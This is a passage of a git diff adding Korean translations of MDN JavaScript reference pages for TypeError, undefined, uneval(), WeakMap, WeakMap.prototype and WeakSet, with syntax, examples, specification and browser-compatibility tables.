+ console.log(e.stack); // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="TypeError_오류를_생성하기"><code>TypeError</code> 오류를 생성하기</h3>
+
+<pre class="brush: js">try {
+ throw new TypeError('Hello', "someFile.js", 10);
+} catch (e) {
+ console.log(e instanceof TypeError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "TypeError"
+ console.log(e.fileName); // "someFile.js"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypeError")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/undefined/index.html b/files/ko/web/javascript/reference/global_objects/undefined/index.html
new file mode 100644
index 0000000000..8ff8f09360
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/undefined/index.html
@@ -0,0 +1,138 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Global_Objects/undefined
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>undefined</strong></code> 속성은 <code>{{Glossary("Undefined", "undefined")}}</code> 원시 값을 나타내며, JavaScript의 {{Glossary("Primitive", "원시 자료형")}} 중 하나입니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">undefined</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>undefined</code>는 전역 객체의 속성입니다. 즉, 전역 스코프에서의 변수입니다. <code>undefined</code>의 초기 값은 <code>{{Glossary("Undefined", "undefined")}}</code> 원시 값입니다.</p>
+
+<p>최신 브라우저에서 <code>undefined</code>는 ECMAScript 5 명세에 따라 설정 불가, 쓰기 불가한 속성입니다. 그렇지 않더라도 덮어쓰는건 피하는게 좋습니다.</p>
+
+<p>값을 할당하지 않은 변수는 <code>undefined</code> 자료형입니다. 또한 메서드와 선언도 평가할 변수가 값을 할당받지 않은 경우에 <code>undefined</code>를 반환합니다. 함수는 값을 명시적으로 {{jsxref("Statements/return", "반환", "", 1)}}하지 않으면 <code>undefined</code>를 반환합니다.</p>
+
+<div class="note">
+<p><code>undefined</code>는 <a href="/ko/docs/Web/JavaScript/Reference/Reserved_Words">예약어</a>가 아니기 때문에 전역 범위 외에서 {{Glossary("Identifier", "식별자")}}(변수 이름)로 사용할 수 있습니다. 그러나 유지보수와 디버깅 시 어려움을 낳을 수 있으므로 반드시 피해야 합니다.</p>
+
+<pre class="brush: js example-bad notranslate">// DON'T DO THIS
+
+// logs "foo string"
+(function() {
+ var undefined = 'foo';
+ console.log(undefined, typeof undefined);
+})();
+
+// logs "foo string"
+(function(undefined) {
+ console.log(undefined, typeof undefined);
+})('foo');</pre>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="일치_연산과_undefined">일치 연산과 <code>undefined</code></h3>
+
+<p><code>undefined</code>와 일치, 불일치 연산자를 사용해 변수에 값이 할당됐는지 판별할 수 있습니다. 다음 예제에서 변수 <code>x</code>는 초기화되지 않았으므로 <code>if</code>문은 <code>true</code>로 평가됩니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (x === undefined) {
+ // 이 문이 실행됨
+}
+else {
+ // 이 문이 실행되지 않음
+}
+</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 동등 연산자가 아니라 일치 연산자를 사용해야 합니다. 동등 연산자일 때 <code>x == undefined</code>는 <code>x</code>가 {{jsxref("null")}}일 때도 참이기 때문입니다. 즉 <code>null</code>은 <code>undefined</code>와 동등하지만, 일치하지는 않습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Operators/Comparison_Operators", "비교 연산자", "", 1)}} 문서를 확인하세요.</p>
+</div>
+
+<h3 id="typeof_연산자와_undefined"><code>typeof</code> 연산자와 <code>undefined</code></h3>
+
+<p>위의 예제 대신 {{jsxref("Operators/typeof", "typeof")}}를 사용할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (typeof x === 'undefined') {
+ // 이 문이 실행됨
+}
+</pre>
+
+<p><code>typeof</code>를 사용하는 이유 중 하나는 선언하지 않은 변수를 사용해도 오류를 던지지 않기 때문입니다.</p>
+
+<pre class="brush: js notranslate">// x를 선언한 적 없음
+if (typeof x === 'undefined') { // 오류 없이 true로 평가
+ // 이 문이 실행됨
+}
+
+if(x === undefined) { // ReferenceError
+
+}
+</pre>
+
+<p>그러나 다른 방법도 있습니다. JavaScript는 정적 범위를 가지는 언어이므로, 변수의 선언 여부는 현재 맥락의 코드를 읽어 알 수 있습니다.</p>
+
+<p>전역 범위는 {{jsxref("globalThis", "전역 객체", "", 1)}}에 묶여 있으므로, 전역 맥락에서 변수의 존재 유무는 {{jsxref("Operators/in", "in")}} 연산자를 전역 객체 대상으로 실행해 알 수 있습니다. 즉,</p>
+
+<pre class="brush: js notranslate">if ('x' in window) {
+ // x가 전역으로 정의된 경우 이 문이 실행됨
+}</pre>
+
+<h3 id="void_연산자와_undefined"><code>void</code> 연산자와 <code>undefined</code></h3>
+
+<p>{{jsxref("Operators/void", "void")}} 연산자를 제 3의 대안으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (x === void 0) {
+ // 이 문이 실행됨
+}
+
+// y를 선언한 적 없음
+if (y === void 0) {
+ // Uncaught Reference Error: y is not defined
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.undefined")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>JavaScript의 {{glossary("Primitive", "원시 값")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/uneval/index.html b/files/ko/web/javascript/reference/global_objects/uneval/index.html
new file mode 100644
index 0000000000..54713864f3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/uneval/index.html
@@ -0,0 +1,67 @@
+---
+title: uneval()
+slug: Web/JavaScript/Reference/Global_Objects/uneval
+tags:
+ - Function
+ - JavaScript
+ - Non-standard
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/uneval
+---
+<div>{{jsSidebar("Objects")}}{{Non-standard_header}}</div>
+
+<p><code><strong>uneval()</strong></code>는 개체의 소스코드에 대한 문자열 표현을 만드는 함수이다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">uneval(<var>object</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>JavaScript 표현식 혹은 구문.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 개체의 소스코드에 대한 문자열 표현</p>
+
+<div class="note"><strong>주의:</strong> 인자로 넘긴 개체의 유효한 JSON 표현이 아닐 수 있습니다.</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>uneval()</code>은 최상위 수준의 함수이며 어떠한 개체와도 연관 되어있지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var a = 1;
+uneval(a); // 1을 포함한 문자열을 반환한다
+
+var b = '1';
+uneval(b); // "1"을 포함한 문자열을 반환한다
+
+uneval(function foo() {}); // "(function foo(){})"를 반환
+
+
+var a = uneval(function foo() { return 'hi'; });
+var foo = eval(a);
+foo(); // "hi"를 반환
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>어떤 명세에도 속하지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.uneval")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li>{{jsxref("JSON.parse")}}</li>
+ <li>{{jsxref("Object.toSource")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html
new file mode 100644
index 0000000000..0c82351679
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html
@@ -0,0 +1,80 @@
+---
+title: WeakMap.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메소드는 <code>WeakMap</code> 객체의 특정 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>wm</em>.delete(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>WeakMap</code> 객체에서 제거할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>WeakMap</code> 객체의 요소가 성공적으로 제거되면 <code>true</code>, 키를 찾을 수 없거나 키가 객체가 아닌 경우 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete_메서드_사용하기"><code>delete</code> 메서드 사용하기</h3>
+
+<pre class="brush: js;highlight:[4]">var wm = new WeakMap();
+wm.set(window, 'foo');
+
+wm.delete(window); // Returns true. Successfully removed.
+
+wm.has(window); // Returns false. The window object is no longer in the WeakMap.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/index.html
new file mode 100644
index 0000000000..392759f523
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/index.html
@@ -0,0 +1,283 @@
+---
+title: WeakMap
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap
+tags:
+ - ECMAScript6
+ - JavaScript
+ - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WeakMap</code></strong> 객체는 키가 약하게 참조되는 키/값 쌍의 컬렉션입니다. 키는 객체여야만 하나 값은 임의 값이 될 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new WeakMap([iterable])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>iterable은 배열 또는 요소가 키-값 쌍(2-요소 배열)인 다른 iterable 객체입니다. 각 키-값 쌍은 새로운 WeakMap에 추가됩니다. null은 undefined로 취급됩니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>WeakMap의 키는 오직 <code>Object</code>형뿐입니다. 키로 {{Glossary("Primitive", "원시 데이터형")}}은 허용되지 않습니다(가령 {{jsxref("Symbol")}}은 <code>WeakMap</code> 키가 될 수 없습니다).</p>
+
+<p>WeakMap 내 키는 약하게 유지됩니다. 이게 뜻하는 바는, 다른 강한 키 참조가 없는 경우, 그러면 모든 항목은 가비지 컬렉터에 의해 WeakMap에서 제거됩니다.</p>
+
+<h3 id="왜_WeakMap인가요">왜 <em>Weak</em>Map인가요?</h3>
+
+<p>숙련된 JavaScript 프로그래머는 이 API는 네 API 메서드에 의해 공유되는 두 배열(키에 하나, 값에 하나)로 JavaScript에서 구현될 수 있음을 알 수 있습니다. 이러한 구현은 주로 두 가지가 불편했을 겁니다. 첫 번째는 O(n) 검색(n은 map 내 키 개수)입니다. 두 번째는 메모리 누수 문제입니다. 수동으로 작성된 map이면, 키 배열은 키 객체 참조를 유지하려고 합니다, 가비지 컬렉트되는 것을 방지하는. 원래 WeakMap에서는, 키 객체 참조는 "약하게" 유지되고, 이는 다른 객체 참조가 없는 경우 가비지 컬렉션을 막지 않음을 뜻합니다.</p>
+
+<p>약한 참조로 인해, <code>WeakMap</code> 키는 열거불가입니다(즉 키 목록을 제공하는 메서드가 없습니다). 키가 있다면, 그 목록은 가비지 콜렉션 상태에 달려있습니다, 비결정성(non-determinism, 크기를 결정할 수 없는)을 도입하는. 키 목록을 원하는 경우, {{jsxref("Map")}}을 사용해야 합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakMap.length</code></dt>
+ <dd><code>length</code> 속성값은 0.</dd>
+ <dt>{{jsxref("WeakMap.prototype")}}</dt>
+ <dd><code>WeakMap</code> 생성자에 대한 프로토타입을 나타냅니다. 모든 <code>WeakMap</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="WeakMap_인스턴스"><code>WeakMap</code> 인스턴스</h2>
+
+<p>모든 <code>WeakMap</code> 인스턴스는 {{jsxref("WeakMap.prototype")}}에서 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','메서드')}}</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="WeakMap_사용"><code>WeakMap</code> 사용</h3>
+
+<pre class="brush: js">var wm1 = new WeakMap(),
+ wm2 = new WeakMap(),
+ wm3 = new WeakMap();
+var o1 = {},
+ o2 = function(){},
+ o3 = window;
+
+wm1.set(o1, 37);
+wm1.set(o2, "azerty");
+wm2.set(o1, o2); // 값은 무엇이든 될 수 있음, 객체 또는 함수 포함
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2); // 키와 값은 어떤 객체든 될 수 있음. 심지어 WeakMap도!
+
+wm1.get(o2); // "azerty"
+wm2.get(o2); // undefined, wm2에 o2에 대한 키가 없기에
+wm2.get(o3); // undefined, 이게 설정값이기에
+
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (값 자체가 'undefined'이더라도)
+
+wm3.set(o1, 37);
+wm3.get(o1); // 37
+
+wm1.has(o1); // true
+wm1.delete(o1);
+wm1.has(o1); // false
+</pre>
+
+<h3 id=".clear()_메서드로_WeakMap_같은_클래스_구현">.clear() 메서드로 <code>WeakMap</code> 같은 클래스 구현</h3>
+
+<p>설명을 위해, 다음 예는 새로운 ECMAScript 6 <code>class</code> 구조를 사용합니다, 현재 널리 구현되지 않은.</p>
+
+<pre class="brush: js">class ClearableWeakMap {
+ constructor(init) {
+ this._wm = new WeakMap(init)
+ }
+ clear() {
+ this._wm = new WeakMap()
+ }
+ delete(k) {
+ return this._wm.delete(k)
+ }
+ get(k) {
+ return this._wm.get(k)
+ }
+ has(k) {
+ return this._wm.has(k)
+ }
+ set(k, v) {
+ this._wm.set(k, v)
+ return this
+ }
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-weakmap-objects', 'WeakMap')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>36</td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>11</td>
+ <td>{{ CompatOpera(23) }}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>new WeakMap(iterable)</code></td>
+ <td>38</td>
+ <td>{{CompatGeckoDesktop("36")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatOpera(25) }}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>clear()</code></td>
+ <td>36</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>11</td>
+ <td>{{ CompatOpera(23) }}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new WeakMap(null)</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>11</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>set()</code> in constructor</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>WeakMap()</code> without <code>new</code> throws</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("42")}}</td>
+ <td>11</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>35</td>
+ <td>{{CompatGeckoMobile("6.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>new WeakMap(iterable)</code></td>
+ <td>38</td>
+ <td>{{CompatGeckoMobile("36")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>clear()</code></td>
+ <td>35</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new WeakMap(null)</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>set()</code> in constructor</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>WeakMap()</code> without <code>new</code> throws</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("42")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] clear() 메서드는 버전 20부터 45(포함)까지 지원됐습니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=547941">Mozilla에서 WeakMap 버그</a></li>
+ <li><a href="http://fitzgeraldnick.com/weblog/53/">ECMAScript 6 WeakMap으로 구현 정보 은닉</a></li>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html
new file mode 100644
index 0000000000..48b4586b6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html
@@ -0,0 +1,142 @@
+---
+title: WeakMap.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Property
+ - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WeakMap.prototype</strong></code> 속성(property)은 {{jsxref("WeakMap")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("WeakMap")}} 인스턴스는 {{jsxref("WeakMap.prototype")}}에서 상속합니다. 모든 <code>WeakMap</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<p><code>WeakMap.prototype</code>은 그 자체로 그냥 평범한 객체입니다:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakMap.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 이는 기본으로 {{jsxref("WeakMap")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt>
+ <dd><code>key</code>와 관련된 모든 값을 제거합니다. <code>WeakMap.prototype.has(key)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt>
+ <dd><code>key</code>와 관련된 값 또는 관련 값이 없는 경우 <code>undefined</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt>
+ <dd><code>WeakMap</code> 객체 내 <code>key</code>와 관련된 값이 있는지 여부를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt>
+ <dd><code>WeakMap</code> 객체 내 <code>key</code>에 대해 값을 설정합니다. <code>WeakMap</code> 객체를 반환합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement"><code>WeakMap</code> 객체에서 모든 키/값 쌍을 제거합니다. 메서드가 없는 <code>WeakMap</code> 객체를 캡슐화하여 <code>.clear()</code> 메서드가 있는 <code>WeakMap</code> 같은 객체 구현이 가능함을 주의하세요 ({{jsxref("WeakMap")}} 페이지 예 참조)</s></dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>36</td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>11</td>
+ <td>23</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Ordinary object</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("40")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("6.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Ordinary object</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("40")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakset/index.html b/files/ko/web/javascript/reference/global_objects/weakset/index.html
new file mode 100644
index 0000000000..17f818659d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakset/index.html
@@ -0,0 +1,108 @@
+---
+title: WeakSet
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WeakSet</code></strong> 객체는 약하게 유지되는(held, 잡아두는) <em>객체</em>를 컬렉션에 저장할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new WeakSet([iterable]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...of">iterable 객체</a>가 전달된 경우, 모든 객체 요소는 새로운 <code>WeakSet</code>에 추가됩니다. null은 undefined로 취급됩니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WeakSet</code> 객체는 객체 컬렉션입니다. <code>WeakSet</code> 내 객체는 오직 한 번만 발생할 수 있습니다. 즉, <code>WeakSet</code> 컬렉션 내에서 유일합니다.</p>
+
+<p>{{jsxref("Set")}} 객체와 주된 차이는 다음과 같습니다:</p>
+
+<ul>
+ <li><code>Set</code>과 달리, <code>WeakSet</code>은 <strong>객체 만의 컬렉션</strong>이며 모든 유형의 임의 값(의 컬렉션)은 아닙니다.</li>
+ <li><code>WeakSet</code>은 약합니다(<em>weak</em>): 컬렉션 내 객체 참조는 약하게 유지됩니다. <code>WeakSet</code> 내 저장된 객체에 다른 참조가 없는 경우, 쓰레기 수집(garbage collection)될 수 있습니다. 이는 또한 컬렉션 내 현재 저장된 객체 목록이 없음을 뜻합니다. <code>WeakSets</code>은 열거불가입니다.</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakSet.length</code></dt>
+ <dd><code>length</code> 속성값은 0.</dd>
+ <dt>{{jsxref("WeakSet.prototype")}}</dt>
+ <dd><code>Set</code> 생성자에 대한 프로토타입을 나타냅니다. 모든 <code>WeakSet</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
